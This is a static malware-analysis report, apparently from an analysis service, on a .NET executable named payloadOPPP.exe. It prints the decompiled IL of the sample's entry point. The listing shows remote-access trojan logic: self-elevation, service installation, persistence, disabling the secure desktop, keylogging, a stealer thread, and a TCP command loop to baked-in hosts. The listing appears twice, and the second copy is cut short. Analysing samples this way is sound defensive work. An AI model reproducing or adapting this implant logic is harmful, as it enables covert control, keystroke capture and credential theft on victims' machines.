Suspicious
Suspect

f23f9848c8b3469e4b8ac4bd1d4633db

PE Executable
MD5: f23f9848c8b3469e4b8ac4bd1d4633db
Size: 1.13 MB
application/x-dosexec

This sample is a 1.1 MB PE Executable for which Malva.RE's static analysis did not establish a malicious verdict. Static analysis extracted 3 embedded or derived files. It matches 11 YARA rules. The file was analysed statically: it was parsed and decompiled, never executed.

SHA256
3ca09886901aa7f69d24a28f50087987f9bdb0d4fe5bc75d8ffb35b55ab4d8c5
MD5
f23f9848c8b3469e4b8ac4bd1d4633db
Verdict
Inconclusive
File type
PE Executable · 1.1 MB

Cite this report: https://app.malva.re/sha256/3ca09886901aa7f69d24a28f50087987f9bdb0d4fe5bc75d8ffb35b55ab4d8c5

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential

File
Type
Portable Executable file
Size
1.13 MB · 1,126,912 B
First seen
2026-10-21 07:16 · 9 days ago
Last seen
2026-10-21 07:16 · 9 days ago
Last analysis
2026-10-21 07:16 · 9 days ago
Hashes
MD5 f23f9848c8b3469e4b8ac4bd1d4633db Sha1 0bbe2d3d1863d4efb93912822330d65d82bdb67c Sha256 3ca09886901aa7f69d24a28f50087987f9bdb0d4fe5bc75d8ffb35b55ab4d8c5 Sha384 eb8462a95355edf1a2c3306bc1d4c283e2a97a13d50197679735ccabc3a81876a3664ec313c661f3dae05fe44a48547b Sha512 55a002c263c516fc8e8a182c305dabe541b70a5a2db3f516b96deadd0b7df5f6782ce33133635943b86f5da25011e786ccf42f4189faa1c44c7cef349e3ccc8c SSDeep 12288:7OLvd1HF/jYTlzj9UXfDb/nUS7uwOSr97WWK46sQfK9PqiQ/a7FMjN:7G1HxMkDzr7uw4TK9Ej TLSH 19351D223EEB109CF3B79BB55FE4B8AF896BF673260E61B9106507464721A80CC51F35
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Low

4 files
EXEf23f9848c8b3469e4b8ac4bd1d4633db
Structure
BIN[Base64-Block @0x00043A37]
BINResources
BINRT_VERSION
BINID:0001
BINID:0
BINRT_MANIFEST
BINID:0001
BINID:0
STICH beta

No STICH Path has been generated for this analysis yet.

1 structural branch were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 1

Name Value
Module Name
payloadOPPP.exe
Full Name
payloadOPPP.exe
EntryPoint
System.Void Implant::Main(System.String[])
Scope Name
payloadOPPP.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
payloadOPPP
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
3289
Main Method
System.Void Implant::Main(System.String[])
Main IL Instruction Count
666
Main IL 
ldsfld System.Boolean Implant::BAKED_SYSTEM_SERVICE
brfalse IL_00A9: ldsfld System.Boolean Implant::BAKED_HIDDEN
ldarg.0 <null>
ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate39
brtrue.s IL_0023: ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate39
ldnull <null>
ldftn System.Boolean Implant::<Main>b__32(System.String)
newobj System.Void System.Predicate`1<System.String>::.ctor(System.Object,System.IntPtr)
stsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate39
ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate39
call System.Boolean System.Array::Exists<System.String>(System.String[],System.Predicate`1<System.String>)
brtrue.s IL_00A9: ldsfld System.Boolean Implant::BAKED_HIDDEN
ldarg.0 <null>
ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3a
brtrue.s IL_0048: ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3a
ldnull <null>
ldftn System.Boolean Implant::<Main>b__33(System.String)
newobj System.Void System.Predicate`1<System.String>::.ctor(System.Object,System.IntPtr)
stsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3a
ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3a
call System.Boolean System.Array::Exists<System.String>(System.String[],System.Predicate`1<System.String>)
brtrue.s IL_00A9: ldsfld System.Boolean Implant::BAKED_HIDDEN
call System.String Implant::Integrity()
stloc.0 <null>
ldloc.0 <null>
ldstr 8192
callvirt System.Boolean System.String::EndsWith(System.String)
brfalse.s IL_009D: leave.s IL_00A2
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule()
callvirt System.String System.Diagnostics.ProcessModule::get_FileName()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.2 <null>
ldloc.2 <null>
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
ldloc.2 <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.2 <null>
stloc.1 <null>
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_00A2: ldnull
pop <null>
leave.s IL_00A2: ldnull
ldnull <null>
call System.Void Implant::SystemServiceInstall(System.String)
ret <null>
ldsfld System.Boolean Implant::BAKED_HIDDEN
brfalse.s IL_00EF: ldc.i4.2
ldarg.0 <null>
ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3b
brtrue.s IL_00C9: ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3b
ldnull <null>
ldftn System.Boolean Implant::<Main>b__34(System.String)
newobj System.Void System.Predicate`1<System.String>::.ctor(System.Object,System.IntPtr)
stsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3b
ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3b
call System.Boolean System.Array::Exists<System.String>(System.String[],System.Predicate`1<System.String>)
brtrue.s IL_00EF: ldc.i4.2
call System.Void Implant::TryPersist()
leave.s IL_00DF: ldstr "GPhCJIQq3FQN9I9qwUw="
pop <null>
leave.s IL_00DF: ldstr "GPhCJIQq3FQN9I9qwUw="
ldstr GPhCJIQq3FQN9I9qwUw=
call System.String Implant::S(System.String)
call System.Void Implant::SystemServiceInstall(System.String)
ret <null>
ldc.i4.2 <null>
call System.Int32 Implant::SetProcessDpiAwareness(System.Int32)
pop <null>
leave.s IL_00FB: ldc.i4 -2147483646
pop <null>
leave.s IL_00FB: ldc.i4 -2147483646
ldc.i4 -2147483646
call System.UInt32 Implant::SetThreadExecutionState(System.UInt32)
pop <null>
leave.s IL_010B: call System.String[] System.Environment::GetCommandLineArgs()
pop <null>
leave.s IL_010B: call System.String[] System.Environment::GetCommandLineArgs()
call System.String[] System.Environment::GetCommandLineArgs()
call System.Void Implant::PrivescFlags(System.String[])
call System.String Implant::ExplorerIntegrity()
stloc.3 <null>
call System.String Implant::Integrity()
stloc.s V_4
ldloc.3 <null>
ldstr 12288
callvirt System.Boolean System.String::EndsWith(System.String)
brtrue.s IL_013C: ldc.i4.1
ldloc.3 <null>
ldstr 16384
callvirt System.Boolean System.String::EndsWith(System.String)
br.s IL_013D: stloc.s V_5
ldc.i4.1 <null>
stloc.s V_5
ldloc.s V_4
ldstr 12288
callvirt System.Boolean System.String::EndsWith(System.String)
brtrue.s IL_015E: ldc.i4.0
ldloc.s V_4
ldstr 16384
callvirt System.Boolean System.String::EndsWith(System.String)
ldc.i4.0 <null>
ceq <null>
br.s IL_015F: stloc.s V_6
ldc.i4.0 <null>
stloc.s V_6
ldsfld System.Boolean Implant::BAKED_SELF_ELEVATE
brfalse.s IL_01AC: leave.s IL_01B1
ldloc.s V_5
brfalse.s IL_01AC: leave.s IL_01B1
ldloc.s V_6
brfalse.s IL_01AC: leave.s IL_01B1
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule()
callvirt System.String System.Diagnostics.ProcessModule::get_FileName()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_8
ldloc.s V_8
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
ldloc.s V_8
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.s V_8
stloc.s V_7
ldloc.s V_7
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_01B1: call System.String Implant::Integrity()
pop <null>
leave.s IL_01B1: call System.String Implant::Integrity()
call System.String Implant::Integrity()
stloc.s V_9
ldloc.s V_9
ldstr 12288
callvirt System.Boolean System.String::EndsWith(System.String)
brtrue.s IL_01D4: call System.Void Implant::DisableSecureDesktop()
ldloc.s V_9
ldstr 16384
callvirt System.Boolean System.String::EndsWith(System.String)
brfalse.s IL_01D9: leave.s IL_01DE
call System.Void Implant::DisableSecureDesktop()
leave.s IL_01DE: call System.AppDomain System.AppDomain::get_CurrentDomain()
pop <null>
leave.s IL_01DE: call System.AppDomain System.AppDomain::get_CurrentDomain()
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldsfld System.UnhandledExceptionEventHandler Implant::CS$<>9__CachedAnonymousMethodDelegate3c
brtrue.s IL_01FB: ldsfld System.UnhandledExceptionEventHandler Implant::CS$<>9__CachedAnonymousMethodDelegate3c
ldnull <null>
ldftn System.Void Implant::<Main>b__35(System.Object,System.UnhandledExceptionEventArgs)
newobj System.Void System.UnhandledExceptionEventHandler::.ctor(System.Object,System.IntPtr)
stsfld System.UnhandledExceptionEventHandler Implant::CS$<>9__CachedAnonymousMethodDelegate3c
ldsfld System.UnhandledExceptionEventHandler Implant::CS$<>9__CachedAnonymousMethodDelegate3c
callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
ldsfld System.Threading.ThreadExceptionEventHandler Implant::CS$<>9__CachedAnonymousMethodDelegate3d
brtrue.s IL_021D: ldsfld System.Threading.ThreadExceptionEventHandler Implant::CS$<>9__CachedAnonymousMethodDelegate3d
ldnull <null>
ldftn System.Void Implant::<Main>b__36(System.Object,System.Threading.ThreadExceptionEventArgs)
newobj System.Void System.Threading.ThreadExceptionEventHandler::.ctor(System.Object,System.IntPtr)
stsfld System.Threading.ThreadExceptionEventHandler Implant::CS$<>9__CachedAnonymousMethodDelegate3d
ldsfld System.Threading.ThreadExceptionEventHandler Implant::CS$<>9__CachedAnonymousMethodDelegate3d
call System.Void System.Windows.Forms.Application::add_ThreadException(System.Threading.ThreadExceptionEventHandler)
leave.s IL_022C: call System.String System.IO.Path::GetTempPath()
pop <null>
leave.s IL_022C: call System.String System.IO.Path::GetTempPath()
call System.String System.IO.Path::GetTempPath()
ldstr mouse_dbg.txt
call System.String System.IO.Path::Combine(System.String,System.String)
ldstr === VER 5.192.166 tag=BUILD sess=
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Int32 System.Diagnostics.Process::get_SessionId()
box System.Int32
ldstr  ===

call System.String System.String::Concat(System.Object,System.Object,System.Object)
call System.Void System.IO.File::WriteAllText(System.String,System.String)
leave.s IL_0263: ldstr "=== VER 5.192.166 tag=BUILD sess="
pop <null>
leave.s IL_0263: ldstr "=== VER 5.192.166 tag=BUILD sess="
ldstr === VER 5.192.166 tag=BUILD sess=
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Int32 System.Diagnostics.Process::get_SessionId()
box System.Int32
ldstr  ===
call System.String System.String::Concat(System.Object,System.Object,System.Object)
call System.Void Implant::FgLog(System.String)
leave.s IL_028B: ldarg.0
pop <null>
leave.s IL_028B: ldarg.0
ldarg.0 <null>
ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3e
brtrue.s IL_02A4: ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3e
ldnull <null>
ldftn System.Boolean Implant::<Main>b__37(System.String)
newobj System.Void System.Predicate`1<System.String>::.ctor(System.Object,System.IntPtr)
stsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3e
ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3e
call System.Boolean System.Array::Exists<System.String>(System.String[],System.Predicate`1<System.String>)
brfalse.s IL_02B6: ldsfld System.Boolean Implant::BAKED_SYSTEM_SERVICE
call System.Void Implant::RunCaptureHelper()
ret <null>
ldsfld System.Boolean Implant::BAKED_SYSTEM_SERVICE
brfalse.s IL_02CE: call System.Void Implant::RelaunchInteractive()
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Int32 System.Diagnostics.Process::get_SessionId()
brtrue.s IL_02CE: call System.Void Implant::RelaunchInteractive()
call System.Void Implant::RelayStart()
call System.Void Implant::RelaunchInteractive()
leave.s IL_02D8: ldsfld System.String Implant::BAKED_HOST
pop <null>
leave.s IL_02D8: ldsfld System.String Implant::BAKED_HOST
ldsfld System.String Implant::BAKED_HOST
call System.String Implant::S(System.String)
stloc.s V_10
ldsfld System.Int32 Implant::BAKED_PORT
stloc.s V_11
ldsfld System.Int32 Implant::BAKED_INTERVAL
stloc.s V_12
ldsfld System.Boolean Implant::BAKED_NO_PROTECTION
pop <null>
ldc.i4.0 <null>
stloc.s V_13
br IL_0393: ldloc.s V_13
ldarg.0 <null>
ldloc.s V_13
ldelem.ref <null>
ldstr --host
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_0326: ldarg.0
ldloc.s V_13
ldc.i4.1 <null>
add <null>
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
bge.s IL_0326: ldarg.0
ldarg.0 <null>
ldloc.s V_13
ldc.i4.1 <null>
add <null>
dup <null>
stloc.s V_13
ldelem.ref <null>
stloc.s V_10
br.s IL_038D: ldloc.s V_13
ldarg.0 <null>
ldloc.s V_13
ldelem.ref <null>
ldstr --port
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_0352: ldarg.0
ldloc.s V_13
ldc.i4.1 <null>
add <null>
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
bge.s IL_0352: ldarg.0
ldarg.0 <null>
ldloc.s V_13
ldc.i4.1 <null>
add <null>
dup <null>
stloc.s V_13
ldelem.ref <null>
ldloca.s V_11
call System.Boolean System.Int32::TryParse(System.String,System.Int32&)
pop <null>
br.s IL_038D: ldloc.s V_13
ldarg.0 <null>
ldloc.s V_13
ldelem.ref <null>
ldstr --interval
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_037E: ldarg.0
ldloc.s V_13
ldc.i4.1 <null>
add <null>
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
bge.s IL_037E: ldarg.0
ldarg.0 <null>
ldloc.s V_13
ldc.i4.1 <null>
add <null>
dup <null>
stloc.s V_13
ldelem.ref <null>
ldloca.s V_12
call System.Boolean System.Int32::TryParse(System.String,System.Int32&)
pop <null>
br.s IL_038D: ldloc.s V_13
ldarg.0 <null>
ldloc.s V_13
ldelem.ref <null>
ldstr --no-protection
call System.Boolean System.String::op_Equality(System.String,System.String)
pop <null>
ldloc.s V_13
ldc.i4.1 <null>
add <null>
stloc.s V_13
ldloc.s V_13
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
blt IL_0300: ldarg.0
ldsfld System.Boolean Implant::BAKED_PERSIST
brfalse.s IL_03A9: ldsfld System.Boolean Implant::BAKED_KEYLOG
call System.Void Implant::TryPersist()
ldsfld System.Boolean Implant::BAKED_KEYLOG
brfalse.s IL_03B5: ldsfld System.Boolean Implant::BAKED_SYSTEM_SERVICE
call System.Void Implant::StartKeylog()
ldsfld System.Boolean Implant::BAKED_SYSTEM_SERVICE
brtrue.s IL_03C3: call System.Void Implant::StartReArm()
ldsfld System.Boolean Implant::BAKED_HIDDEN
brfalse.s IL_03C8: newobj System.Void System.Collections.Generic.List`1<System.String[]>::.ctor()
call System.Void Implant::StartReArm()
newobj System.Void System.Collections.Generic.List`1<System.String[]>::.ctor()
stloc.s V_14
ldloc.s V_10
ldstr 
call System.Boolean System.String::op_Inequality(System.String,System.String)
brfalse.s IL_0411: ldsfld System.String Implant::BAKED_HOSTS
ldloc.s V_10
ldstr __HOST__
call System.Boolean System.String::op_Inequality(System.String,System.String)
brfalse.s IL_0411: ldsfld System.String Implant::BAKED_HOSTS
ldloc.s V_11
brfalse.s IL_0411: ldsfld System.String Implant::BAKED_HOSTS
ldloc.s V_14
ldc.i4.2 <null>
newarr System.String
stloc.s V_28
ldloc.s V_28
ldc.i4.0 <null>
ldloc.s V_10
stelem.ref <null>
ldloc.s V_28
ldc.i4.1 <null>
ldloca.s V_11
call System.String System.Int32::ToString()
stelem.ref <null>
ldloc.s V_28
callvirt System.Void System.Collections.Generic.List`1<System.String[]>::Add(System.String[])
ldsfld System.String Implant::BAKED_HOSTS
ldc.i4.1 <null>
newarr System.Char
stloc.s V_29
ldloc.s V_29
ldc.i4.0 <null>
ldc.i4.s 44
stelem.i2 <null>
ldloc.s V_29
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_15
ldsfld System.String Implant::BAKED_PORTS
ldc.i4.1 <null>
newarr System.Char
stloc.s V_30
ldloc.s V_30
ldc.i4.0 <null>
ldc.i4.s 44
stelem.i2 <null>
ldloc.s V_30
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_16
ldc.i4.0 <null>
stloc.s V_17
br IL_04EC: ldloc.s V_17
ldloc.s V_15
ldloc.s V_17
ldelem.ref <null>
callvirt System.String System.String::Trim()
ldstr 
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_04E6: ldloc.s V_17
ldloc.s V_17
ldloc.s V_16
ldlen <null>
conv.i4 <null>
bge.s IL_0485: ldloc.s V_16
ldloc.s V_16
ldloc.s V_17
ldelem.ref <null>
callvirt System.String System.String::Trim()
ldstr 
call System.Boolean System.String::op_Inequality(System.String,System.String)
brtrue.s IL_04B5: ldloc.s V_16
ldloc.s V_16
ldlen <null>
conv.i4 <null>
ldc.i4.0 <null>
ble.s IL_04A1: ldloca.s V_11
ldloc.s V_16
ldc.i4.0 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
ldstr 
call System.Boolean System.String::op_Inequality(System.String,System.String)
brtrue.s IL_04AA: ldloc.s V_16
ldloca.s V_11
call System.String System.Int32::ToString()
br.s IL_04BF: stloc.s V_18
ldloc.s V_16
ldc.i4.0 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
br.s IL_04BF: stloc.s V_18
ldloc.s V_16
ldloc.s V_17
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_18
ldloc.s V_14
ldc.i4.2 <null>
newarr System.String
stloc.s V_31
ldloc.s V_31
ldc.i4.0 <null>
ldloc.s V_15
ldloc.s V_17
ldelem.ref <null>
callvirt System.String System.String::Trim()
stelem.ref <null>
ldloc.s V_31
ldc.i4.1 <null>
ldloc.s V_18
stelem.ref <null>
ldloc.s V_31
callvirt System.Void System.Collections.Generic.List`1<System.String[]>::Add(System.String[])
ldloc.s V_17
ldc.i4.1 <null>
add <null>
stloc.s V_17
ldloc.s V_17
ldloc.s V_15
ldlen <null>
conv.i4 <null>
blt IL_0451: ldloc.s V_15
ldloc.s V_10
ldstr 
call System.Boolean System.String::op_Inequality(System.String,System.String)
brfalse.s IL_0570: ldloc.s V_14
ldloc.s V_10
ldstr __HOST__
call System.Boolean System.String::op_Inequality(System.String,System.String)
brfalse.s IL_0570: ldloc.s V_14
ldloc.s V_15
ldlen <null>
conv.i4 <null>
stloc.s V_19
br.s IL_0568: ldloc.s V_19
ldloc.s V_16
ldloc.s V_19
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_20
ldloc.s V_20
ldstr 
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_0562: ldloc.s V_19
ldloc.s V_20
ldloca.s V_11
call System.String System.Int32::ToString()
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_0562: ldloc.s V_19
ldloc.s V_14
ldc.i4.2 <null>
newarr System.String
stloc.s V_32
ldloc.s V_32
ldc.i4.0 <null>
ldloc.s V_10
stelem.ref <null>
ldloc.s V_32
ldc.i4.1 <null>
ldloc.s V_20
stelem.ref <null>
ldloc.s V_32
callvirt System.Void System.Collections.Generic.List`1<System.String[]>::Add(System.String[])
ldloc.s V_19
ldc.i4.1 <null>
add <null>
stloc.s V_19
ldloc.s V_19
ldloc.s V_16
ldlen <null>
conv.i4 <null>
blt.s IL_051B: ldloc.s V_16
ldloc.s V_14
callvirt System.Int32 System.Collections.Generic.List`1<System.String[]>::get_Count()
brtrue.s IL_057A: ldc.i4.0
ret <null>
ldc.i4.0 <null>
stloc.s V_21
ldloc.s V_14
ldloc.s V_21
ldloc.s V_14
callvirt System.Int32 System.Collections.Generic.List`1<System.String[]>::get_Count()
rem <null>
callvirt System.String[] System.Collections.Generic.List`1<System.String[]>::get_Item(System.Int32)
ldc.i4.0 <null>
ldelem.ref <null>
stloc.s V_22
ldloc.s V_14
ldloc.s V_21
ldloc.s V_14
callvirt System.Int32 System.Collections.Generic.List`1<System.String[]>::get_Count()
rem <null>
callvirt System.String[] System.Collections.Generic.List`1<System.String[]>::get_Item(System.Int32)
ldc.i4.1 <null>
ldelem.ref <null>
call System.Int32 System.Int32::Parse(System.String)
stloc.s V_23
ldloc.s V_21
ldc.i4.1 <null>
add <null>
stloc.s V_21
newobj System.Void System.Net.Sockets.TcpClient::.ctor()
stsfld System.Net.Sockets.TcpClient Implant::conn
ldsfld System.Net.Sockets.TcpClient Implant::conn
ldloc.s V_22
ldloc.s V_23
callvirt System.Void System.Net.Sockets.TcpClient::Connect(System.String,System.Int32)
ldsfld System.Net.Sockets.TcpClient Implant::conn
ldc.i4.1 <null>
callvirt System.Void System.Net.Sockets.TcpClient::set_NoDelay(System.Boolean)
ldsfld System.Net.Sockets.TcpClient Implant::conn
ldc.i4 1048576
callvirt System.Void System.Net.Sockets.TcpClient::set_ReceiveBufferSize(System.Int32)
ldsfld System.Net.Sockets.TcpClient Implant::conn
ldc.i4 1048576
callvirt System.Void System.Net.Sockets.TcpClient::set_SendBufferSize(System.Int32)
ldsfld System.Net.Sockets.TcpClient Implant::conn
ldc.i4 180000
callvirt System.Void System.Net.Sockets.TcpClient::set_ReceiveTimeout(System.Int32)
ldsfld System.Net.Sockets.TcpClient Implant::conn
callvirt System.Net.Sockets.NetworkStream System.Net.Sockets.TcpClient::GetStream()
stsfld System.Net.Sockets.NetworkStream Implant::ns
call System.Text.Encoding System.Text.Encoding::get_UTF8()
call System.String Implant::Banner()
callvirt System.Byte[] System.Text.Encoding::GetBytes(System.String)
call System.Void Implant::SendFrame(System.Byte[])
ldsfld System.Boolean Implant::BAKED_STEALER
brfalse IL_06F3: call System.String Implant::RecvString()
ldsfld System.Threading.ThreadStart Implant::CS$<>9__CachedAnonymousMethodDelegate3f
brtrue.s IL_0647: ldsfld System.Threading.ThreadStart Implant::CS$<>9__CachedAnonymousMethodDelegate3f
ldnull <null>
ldftn System.Void Implant::<Main>b__38()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
stsfld System.Threading.ThreadStart Implant::CS$<>9__CachedAnonymousMethodDelegate3f
ldsfld System.Threading.ThreadStart Implant::CS$<>9__CachedAnonymousMethodDelegate3f
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.s V_24
ldloc.s V_24
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
ldloc.s V_24
callvirt System.Void System.Threading.Thread::Start()
leave IL_06F3: call System.String Implant::RecvString()
pop <null>
leave IL_06F3: call System.String Implant::RecvString()
ldloc.s V_25
ldstr exit
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_0697: ldsfld System.Net.Sockets.NetworkStream Implant::ns
ldloc.s V_25
ldstr quit
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_0697: ldsfld System.Net.Sockets.NetworkStream Implant::ns
ldloc.s V_25
ldstr die
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_06B0: ldloc.s V_25
ldsfld System.Net.Sockets.NetworkStream Implant::ns
callvirt System.Void System.IO.Stream::Close()
ldsfld System.Net.Sockets.TcpClient Implant::conn
callvirt System.Void System.Net.Sockets.TcpClient::Close()
leave IL_07A0: ret
ldloc.s V_25
ldsfld System.String Implant::cwd
call System.String Implant::Dispatch(System.String,System.String)
stsfld System.String Implant::cwd
leave.s IL_06EC: ldsfld System.String Implant::cwd
stloc.s V_26
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr (command error: 
ldloc.s V_26
callvirt System.String System.Exception::get_Message()
ldstr )

call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Byte[] System.Text.Encoding::GetBytes(System.String)
call System.Void Implant::SendFrame(System.Byte[])
leave.s IL_06EC: ldsfld System.String Implant::cwd
ldsfld System.String Implant::cwd
brfalse.s IL_0700: ldsfld System.Net.Sockets.NetworkStream Implant::ns
call System.String Implant::RecvString()
dup <null>
stloc.s V_25
brtrue IL_066D: ldloc.s V_25
ldsfld System.Net.Sockets.NetworkStream Implant::ns
callvirt System.Void System.IO.Stream::Close()
ldsfld System.Net.Sockets.TcpClient Implant::conn
callvirt System.Void System.Net.Sockets.TcpClient::Close()
leave.s IL_0719: leave.s IL_0784
pop <null>
leave.s IL_0719: leave.s IL_0784
leave.s IL_0784: ldsfld System.Boolean Implant::BAKED_NOSLEEP
stloc.s V_27
call System.String System.IO.Path::GetTempPath()
ldstr hvnc_loop.txt
call System.String System.IO.Path::Combine(System.String,System.String)
ldc.i4.5 <null>
newarr System.String
stloc.s V_33
ldloc.s V_33
ldc.i4.0 <null>
ldstr [
stelem.ref <null>
ldloc.s V_33
ldc.i4.1 <null>
call System.DateTime System.DateTime::get_Now()
stloc.s V_34
ldloca.s V_34
ldstr HH:mm:ss
call System.String System.DateTime::ToString(System.String)
stelem.ref <null>
ldloc.s V_33
ldc.i4.2 <null>
ldstr ] loop EXC: 
stelem.ref <null>
ldloc.s V_33
ldc.i4.3 <null>
ldloc.s V_27
callvirt System.String System.Exception::get_Message()
stelem.ref <null>
ldloc.s V_33
ldc.i4.4 <null>
ldstr 

stelem.ref <null>
ldloc.s V_33
call System.String System.String::Concat(System.String[])
call System.Void System.IO.File::AppendAllText(System.String,System.String)
leave.s IL_0782: leave.s IL_0784
pop <null>
leave.s IL_0782: leave.s IL_0784
leave.s IL_0784: ldsfld System.Boolean Implant::BAKED_NOSLEEP
ldsfld System.Boolean Implant::BAKED_NOSLEEP
brtrue.s IL_078F: ldc.i4.0
ldloc.s V_12
br.s IL_0790: ldc.i4 1000
ldc.i4.0 <null>
ldc.i4 1000
mul <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
br IL_057D: ldloc.s V_14
ret <null>
Module Name
payloadOPPP.exe
Full Name
payloadOPPP.exe
EntryPoint
System.Void Implant::Main(System.String[])
Scope Name
payloadOPPP.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
payloadOPPP
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
3289
Main Method
System.Void Implant::Main(System.String[])
Main IL Instruction Count
666
Main IL 
ldsfld System.Boolean Implant::BAKED_SYSTEM_SERVICE
brfalse IL_00A9: ldsfld System.Boolean Implant::BAKED_HIDDEN
ldarg.0 <null>
ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate39
brtrue.s IL_0023: ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate39
ldnull <null>
ldftn System.Boolean Implant::<Main>b__32(System.String)
newobj System.Void System.Predicate`1<System.String>::.ctor(System.Object,System.IntPtr)
stsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate39
ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate39
call System.Boolean System.Array::Exists<System.String>(System.String[],System.Predicate`1<System.String>)
brtrue.s IL_00A9: ldsfld System.Boolean Implant::BAKED_HIDDEN
ldarg.0 <null>
ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3a
brtrue.s IL_0048: ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3a
ldnull <null>
ldftn System.Boolean Implant::<Main>b__33(System.String)
newobj System.Void System.Predicate`1<System.String>::.ctor(System.Object,System.IntPtr)
stsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3a
ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3a
call System.Boolean System.Array::Exists<System.String>(System.String[],System.Predicate`1<System.String>)
brtrue.s IL_00A9: ldsfld System.Boolean Implant::BAKED_HIDDEN
call System.String Implant::Integrity()
stloc.0 <null>
ldloc.0 <null>
ldstr 8192
